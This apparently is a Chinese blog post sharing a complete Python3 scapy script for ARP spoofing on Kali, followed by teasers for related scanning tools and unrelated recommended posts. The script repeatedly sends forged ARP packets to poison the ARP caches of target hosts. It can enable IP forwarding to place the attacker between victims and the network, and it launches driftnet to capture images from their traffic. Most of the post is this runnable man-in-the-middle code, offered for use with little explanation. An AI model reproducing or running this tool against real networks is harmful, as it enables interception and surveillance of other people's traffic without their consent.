Python3 小工具-ARP欺骗
在kali中使用
from scapy.all import *
import optparse
import os
def send(pkt,interface):
for p in pkt:
sendp(p,iface=interface)
def req(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
yield pkt
def rep(targets,source):
for target in targets:
tr_mac=getmacbyip(target)
pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
yield pkt
def main():
parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
parser.add_option('-s',dest='source',type='string',help='[+]Source host')
parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
(options,args)=parser.parse_args()
interface=options.interface
targets=str(options.targets).split(',')
source=options.source
mode=options.mode
transmit=options.transmit
if((targets[0]==None) or (source==None)):
print('[-]Please input targets and source')
exit(0)
if(transmit=='yes'):
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
os.system("gnome-terminal -- driftnet -i "+interface)
if(mode=='req'):
print('----------------')
try:
while True:
pkt=req(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished')
else:
print('-----------------')
try:
while True:
pkt=rep(targets,source)
send(pkt,interface)
except KeyboardInterrupt:
print('---------------')
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
print('Finished!')
if __name__=='__main__':
main()
使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof
Python3 小工具-ARP欺骗的更多相关文章
- Python3 小工具-ARP扫描
from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...
- Cain工具ARP欺骗攻击
OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...
- python3 小工具
扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...
- ip地址查询python3小工具_V0.0.1
看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...
- Python3 小工具-UDP扫描
from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...
- Python3 小工具-僵尸扫描
僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...
- Python3 小工具-TCP半连接扫描
from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...
- Python3 小工具-UDP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...
- Python3 小工具-TCP发现
from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...
随机推荐
- Deepin深度Linux系统安装记录
测试设备:小米游戏本,最新版15.6进入安装后发现黑屏,所以使用15.5安装 Deepin 15.5 官方介绍页 官方下载 百度云下载 下载后得到文件夹15.5 Release 将里面的ISO镜像文件 ...
- C++练习 | 创建并正序输出不带头结点的链表
#include <iostream> #include <cstdio> #include <stdlib.h> using namespace std; str ...
- Windows 安装 MongoDB 并开启认证
下载 可以自行上官网找需要的版本,Windows系统各个64位版本下载地址: http://dl.mongodb.org/dl/win32/x86_64 安装 正常的软件安装流程,这里就不细讲了. 配 ...
- CSS动画详解及transform、transition、translate的区别
刚看完一节慕课网的css动画,在此总结下 1. 先说下 transform.transition.translate的区别 transform 和 transition是css的2个属性,transl ...
- div盒子水平垂直居中的方法推荐
父盒子是position:relative 方法一:(宽高确定) div绝对定位水平垂直居中[margin 负间距], 方法二: (宽高确定) div绝对定位水平垂直居中[margin:auto实现绝 ...
- Python入门 —— 02基础语法
基础语法入门学习推荐: 简明 Python 教程 下文仅为入门推荐书籍的补充与重点 多行语句:末尾使用斜杠 ( ) ,将一行分为多行 var = item1 + item2 + item3 注释: ...
- shell编程基础-01
1.1 前言 1.1.1 为什么学Shell Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的 ...
- hadoop的自定义分组实现 (Partition机制)
hadoop开发中我们会遇到类似这样的问题,比如 如何将不同省份的手机号分别输出到不同的文件中,本片文章将对hadoop内置的Partition类进行重写以解决这个问题. MapReduce的使用者通 ...
- 帆软SQL报异常:多表连接的时候出现错误:未明确定义列
我刚开始的代码: select dm_veh_jdcgz_mx.DAY_ID ,--日期 dm_veh_jdcgz_mx.GLBM ,--管理部门ID dm_veh_jdcgz_mx.SFZMHM , ...
- QWT编译与配置-Windows/Linux环境
QWT编译与配置-Windows/Linux环境 QWT和FFTW两种开源组件是常用的工程软件支持组件,QWT可以提供丰富的绘图组件功能,FFTW是优秀数字波形分析软件.本文使用基于LGPL版权协议的 ...